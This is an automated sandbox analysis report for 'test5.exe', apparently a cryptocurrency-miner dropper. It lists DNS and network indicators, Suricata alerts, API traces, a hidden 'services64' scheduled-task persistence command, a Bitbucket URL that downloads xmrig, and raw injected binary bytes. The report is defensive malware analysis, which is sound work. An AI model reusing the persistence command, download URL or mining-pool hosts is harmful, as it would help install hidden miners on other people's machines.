popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

test5.exe

Generic Malware Code injection Socket Escalate priviledges Create Service KeyLogger DNS ScreenShot PE64 AntiDebug BitCoin PE File AntiVM
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6402 Aug. 5, 2021, 5:39 p.m. Aug. 5, 2021, 5:46 p.m.
Size 44.5KB
Type PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
MD5 2ef1f2fd600af1cea8690b76de3fafe9
SHA256 d94fd5cde3574048397162ee252ed9fd3b6ad79ad02b63eb513c78911c2191ab
CRC32 1AAE0716
ssdeep 768:qlBzqslx3mEg505zOgpkHFf60OoActSfuiP4ZtE:Sh50IKeEk0OoAcMPH
Yara
  • IsPE64 - (no description)
  • Generic_Malware_Zero - Generic Malware
  • PE_Header_Zero - PE File Signature

Name Response Post-Analysis Lookup
bitbucket.org
A 104.192.141.1
104.192.141.1
pastebin.com
A 104.23.99.190
A 104.23.98.190
104.23.98.190
sanctam.net
A 185.65.135.248
185.65.135.248
pool.minexmr.com
A 51.68.21.186
A 136.243.49.177
A 94.130.164.163
A 88.99.193.240
A 51.68.21.188
A 94.130.165.87
A 94.130.165.85
A 51.254.84.37
A 178.32.120.127
51.254.84.37
IP Address Status Action
104.192.141.1 Active Moloch
104.23.98.190 Active Moloch
164.124.101.2 Active Moloch
178.32.120.127 Active Moloch
185.65.135.248 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.102:49168 -> 185.65.135.248:58899 906200022 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.102:49169 -> 104.192.141.1:443 906200022 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.102:49172 -> 104.23.98.190:443 906200070 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (CoinMiner) undefined
UDP 192.168.56.102:62824 -> 164.124.101.2:53 2024789 ET POLICY DNS request for Monero mining pool A Network Trojan was detected

Suricata TLS

Flow Issuer Subject Fingerprint
TLS 1.2
192.168.56.102:49168
185.65.135.248:58899 		C=US, O=Let's Encrypt, CN=R3 CN=sanctam.net 38:bc:f2:94:62:8a:02:9e:90:64:d5:0f:bc:00:83:12:36:86:2c:2a
TLS 1.2
192.168.56.102:49169
104.192.141.1:443 		C=US, O=DigiCert Inc, OU=www.digicert.com, CN=DigiCert SHA2 Extended Validation Server CA unknown=Private Organization, unknown=US, unknown=Delaware, serialNumber=3928449, C=US, ST=California, L=San Francisco, O=Atlassian, Inc., OU=Bitbucket, CN=bitbucket.org 4e:6a:4c:3b:82:15:ef:df:97:38:5e:50:ef:b9:86:42:84:3b:89:f0
TLS 1.3
192.168.56.102:49172
104.23.98.190:443 		None None None

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: SUCCESS: The scheduled task "services64" has successfully been created.
console_handle: 0x0000000000000007
1 1 0

WriteConsoleW

 buffer: SUCCESS: The scheduled task "services64" has successfully been created.
console_handle: 0x0000000000000007
1 1 0
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
suspicious_features GET method with no useragent header suspicious_request GET https://bitbucket.org/Sanctam/sanctam/raw/0ceb71c1535ed3e19820cb4ba88d04169dbe5ca6/includes/xmrig
request GET https://bitbucket.org/Sanctam/sanctam/raw/0ceb71c1535ed3e19820cb4ba88d04169dbe5ca6/includes/xmrig
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2060
region_size: 1507328
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000000b10000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2060
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000000c00000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2060
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2891000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2060
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2f2b000
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2060
region_size: 1245184
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000023a0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2060
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000002450000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2060
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2892000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2060
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2892000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2060
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2892000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2060
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2892000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2060
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2892000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2060
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2892000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2060
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2892000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2060
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2892000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2060
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2892000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2060
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2892000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2060
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2892000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2060
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2894000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2060
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2894000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2060
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2894000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2060
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2894000
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2060
region_size: 655360
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff10000
allocation_type: 1056768 (MEM_RESERVE|MEM_TOP_DOWN)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2060
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff10000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2060
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff10000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2060
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff20000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2060
region_size: 65536
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff00000
allocation_type: 1056768 (MEM_RESERVE|MEM_TOP_DOWN)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2060
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff00000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2060
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe9311a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2060
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe931cc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2060
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe931f6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2060
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe931d0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2060
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe9312c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2060
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe93240000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2060
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe9311b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2060
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe9313b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2060
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe93112000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2060
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe9316c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2060
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe9313d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2060
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe93241000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2060
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe9312a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2060
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe93280000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2840
region_size: 983040
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000009f0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2840
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000000a60000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2840
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1f31000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2840
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef25cb000
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2840
region_size: 2228224
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000002350000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2840
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000024f0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2840
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1f32000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2840
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1f32000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2840
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1f32000
process_handle: 0xffffffffffffffff
1 0 0
file C:\Users\test22\AppData\Roaming\Microsoft\Libs\sihost64.exe
cmdline "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\test22\services64.exe"' & exit
cmdline cmd /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\test22\services64.exe"' & exit
cmdline schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\test22\services64.exe"'
Time & API Arguments Status Return Repeated

ShellExecuteExW

 show_type: 0
filepath_r: cmd
parameters: /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\test22\services64.exe"' & exit
filepath: cmd
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: C:\Users\test22\services64.exe
parameters:
filepath: C:\Users\test22\services64.exe
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: cmd
parameters: /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\test22\services64.exe"' & exit
filepath: cmd
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: C:\Users\test22\AppData\Roaming\Microsoft\Libs\sihost64.exe
parameters:
filepath: C:\Users\test22\AppData\Roaming\Microsoft\Libs\sihost64.exe
1 1 0
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
section {u'size_of_data': u'0x0000a800', u'virtual_address': u'0x00002000', u'entropy': 7.932764127322154, u'name': u'.text', u'virtual_size': u'0x0000a76c'} entropy 7.93276412732 description A section with a high entropy has been found
entropy 0.954545454545 description Overall entropy of this PE file is high
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
url https://xmrig.com/wizard
url https://xmrig.com/benchmark/%s
url https://xmrig.com/docs/algorithms
description Communications use DNS rule Network_DNS
description Communications over RAW Socket rule Network_TCP_Socket
description Create a windows service rule Create_Service
description Perform crypto currency mining rule BitCoin
description Escalate priviledges rule Escalate_priviledges
description Run a KeyLogger rule KeyLogger
description Code injection with CreateRemoteThread in a remote process rule Code_injection
description Take ScreenShot rule ScreenShot
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule DebuggerException__SetConsoleCtrl
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
description Affect hook table rule win_hook
cmdline "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\test22\services64.exe"' & exit
cmdline cmd /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\test22\services64.exe"' & exit
cmdline schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\test22\services64.exe"'
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 7700480
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000140000000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x0000000000000330
1 0 0
cmdline "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\test22\services64.exe"' & exit
cmdline cmd /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\test22\services64.exe"' & exit
cmdline schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\test22\services64.exe"'
file C:\Users\test22\AppData\Roaming\Microsoft\Libs\sihost64.exe
Time & API Arguments Status Return Repeated

connect

 ip_address: 104.23.98.190
socket: 360
port: 443
-1 0

send

 buffer: 517¼ìÜZ=O^Ö £âõøü-±dྜྷÒ~ôTƹРÛäæNjmÊ»\ô\BT³)Áw_´}ڒFq m,>À,À0ŸÌ©Ì¨ÌªÀ+À/žÀ$À(kÀ#À'gÀ À9À À3œ=<5/ÿª pastebin.com  # 0.   + -3&$ [3ô±;ÐóF¢¾Òø§ÂØr|ð‚¤Šuq[†–MN
socket: 360
sent: 314
1 314 0

send

 buffer: EÃWvÕ¤Au¬®îŠ½lnŠU¤zÑDJq?ˆÚ^¤9Îó«Ñú,œ½–¿e¹l#hæÍ·k©UÛa Í:—ȇ]B(ÓÎ
socket: 360
sent: 80
1 80 0

send

 buffer: €C'2£Z£w¤M‰ÐKL §»F™M”œ.iÑ*…`b¯ŠSsÙiÔl©o±™¹Y®•´´~£Ê9ûk`s¤á½^IT†Øý ØuZ€mâ³Hr–»F:m{Æ¿³ð¶?¨=&'•;;.Àxšø!±‡ÝÞJcî1Â]ÏWÈ5š<!™Q†íú
socket: 360
sent: 133
1 133 0

send

 buffer: ,ÀPÝm°KF /€$„«t¹
socket: 360
sent: 24
1 24 0
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: MZÿÿ¸@ º´ Í!¸LÍ!This program cannot be run in DOS mode. $\ˆ>)éPzéPzéPzCT{éPzCS{éPzCU{ÐéPz†I—zéPz†T{ éPz†S{éPz†U{ŽéPzކT{ éPzCQ{ éPzéQzpèPz™T{KëPzކY{äéPzކS{éPzކ¯zéPzéÇzéPzކR{éPzRichéPzPEd† @+`ð" 4Al¶.@€u`|ÐFÜàt°`r| ðtœ‰wCPxC( wC0 4X .textt44 `.rdataŠÓ 4Ô 4@@.dataðR+G"ÞF@À.pdata| `rH@@_RANDOMX– ptJ@`_SHA3_25@ €t J@`_TEXT_CNQt &J@`_TEXT_CN„°tFJ@`_RDATA”ÐtXJ@@.rsrc°àtZJ@@.relocœ‰ðtŠ`J@B
base_address: 0x0000000140000000
process_identifier: 2708
process_handle: 0x0000000000000330
1 1 0

WriteProcessMemory

 buffer: H‹Ð%Àÿ HÁÊ âÀÿ fffffff„fffffff„„SUWVATAUAVAWHƒìPót$@ó|$0óDD$ óDL$óD$HƒìPóD\$@óDd$0óDl$ óDt$óD<$QH‹*H‹zH‹ÅHÁè %ÀÿÿI‹ðI‹ÙH‹ÅM3ÀM3ÉM3ÒM3ÛM3äM3íM3öM3ÿHIxfD(AHfD(IXfD(QhfD(YxfD(-ŒfD(5“fD(=šH‹Ð%ÀÿHÁÊ âÀÿHƒì(Ç$ÀŸÇD$À¿ÇD$ÀßÇD$ ÀÿÇD$ ÿÿÿÿëhfffffff„fffffff„fffffff„fff„ÀÿÿÿÿÀÿÿÿÿð€ð€H¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QHÄ€ëfffffff„„H H‰L$L3L3IL3QL3YL3a L3i(L3q0L3y8H H‰L$óæóæIóæQóæYóæa óæi(óæq0óæy8fATåfATífATõfATýfAVæfAVîfAVöfAVþH H‰L$L3L3IL3QL3YL3a L3i(L3q0L3y8H H‰L$óæóæIóæQóæYóæa óæi(óæq0óæy8ÈX¢æЏÈP¢îЏÈH¢öЏÈ@¢þАH3è‹ÕâÀÿÿHÁÍ ‹ÕâÀÿÿH L3L3IL3QL3YL3a L3i(L3q0L3y8H‹ÍHÁé áÀÿÿL3H3è‹ÕâÀÿÿHÁÍ L3LL3TL3\L3d L3l(L3t0L3|8HƒìHH‰\$@L‰D$8L‰L$0L‰T$(L‰\$ L‰d$L‰l$L‰t$L‰<$H3èHÁÍ ‹ÝãÀÿÿÁëH‹\$@L3D$8L3L$0L3T$(L3\$ L3d$L3l$L3t$L3<$HƒÄHH‹L$L‰L‰IL‰QL‰YL‰a L‰i(L‰q0L‰y8H‹L$fWÄfWÍfWÖfWßf)f)If)Q f)Y0ff„SUWVATAUAVAWH‹9H‹òI‹èAQ H‹ÝèÞL‰L‰NL‰VL‰^L‰f L‰n(L‰v0L‰~8HƒÅHƒÆ@H;,$rÈAYA_A^A]A\^_][Ãfffffff„fffffff„@SUWVATAUAVAWHìó$óL$óT$ ó\$0ód$@ól$Pót$`ó|$póD„$€óDŒ$óD”$ óDœ$°óD¤$ÀóD¬$ÐóD´$àóD¼$ðH‹9H‹òI‹èAQHƒì(éš-•L-ôQXü¡õYŠ— FØÂ8ߙp§\I"¿¹&bŠŸ—%MI ìªÎ¹ï7’x-æltV*/Nå,¶÷;…„fffffff„fffffff„fffffff„DF@†€†À†H‹ÝHãÿÿ?HÁãHßHEH%ÿÿ?HÁàHÇH‰$HEH%ÿÿ?HÁàHÇH‰D$HEH%ÿÿ?HÁàHÇH‰D$HEH%ÿÿ?HÁàHÇH‰D$LEL¯ïþÿÿL‹ ðþÿÿM3ÈL‹îþÿÿM3ÐL‹ìþÿÿM3ØL‹%êþÿÿM3àL‹-èþÿÿM3èL‹5æþÿÿM3ðL‹=äþÿÿM3øH‰l$ Äâ}D$ ÅýÔmþÿÿÄâ} ŒþÿÿŽsРŵsÑ Å}ôÑÅ5ôØŽôÁÄÁ%só Åýsð ÄA-ÔÓÅ­ÔÀÄâ} aþÿÿÅýïÉÄâ}\þÿÿÅýïÒÄâ}WþÿÿÅýïÛÄâ}%RþÿÿÅýïäÄâ}-MþÿÿÅýïíÄâ}5HþÿÿÅýïöÄâ}=CþÿÿÅýïÿÄb}=öýÿÿÄÁ s÷L‰Å}lÁL‰NÅmlËL‰VÅ]lÕL‰^ÅMlßL‰f Å}máL‰n(ÅmmëL‰v0Å]mõL‰~8ÅMmÿÄÃ=FÁ ÄÃ-FË ÅþF@ÅþN`ÄÃFÕ Äà Fß Åþ–€Åþž ÄÃ=Fá1ÄÃ-Fë1Åþ¦ÀÅþ®àÄÃFõ1Äà Fÿ1Åþ¶Åþ¾ HƒÅHÆ@H;l$(‚HƒÄ(AYóo$óoL$óoT$ óo\$0óod$@óol$Póot$`óo|$póDo„$€óDoŒ$óDo”$ óDoœ$°óDo¤$ÀóDo¬$ÐóDo´$àóDo¼$ðÅøwHÄA_A^A]A\^_][ÃHƒì(H‰$Å~t$H‹D$(H‹\$0H‹L$8H‹T$@Å~oÅ~o Å~oÅ~oÄA=láÄA-lëÄCFõ ÄÁ}ïÆÄCFõ1ÄÁmïÖÄA=máÄA-mëÄCFõ ÄÁuïÎÄCFõ1ÄÁeïÞÅ~o@ Å~oK Å~oQ Å~oZ ÄA=láÄA-lëÄCFõ ÄÁ]ïæÄCFõ1ÄÁMïöÄA=máÄA-mëÄCFõ ÄÁUïîÄCFõ1ÄÁEïþH‹$Å~ot$HƒÄ(Åþ$H‹$H%ÿÿ?HÁàHÇH‰$H‹D$H%ÿÿ?HÁàHÇH‰D$H‹D$H%ÿÿ?HÁàHÇH‰D$H‹D$H%ÿÿ?HÁàHÇH‰D$HƒÄ(YL‰L‰IL‰QL‰YL‰a L‰i(L‰q0L‰y8fA@fIPfQ`fYpHI@fa@fiPfq`fypóDo<$óDot$óDol$ óDod$0óDo\$@HƒÄPóDo$óDoL$óDoD$ 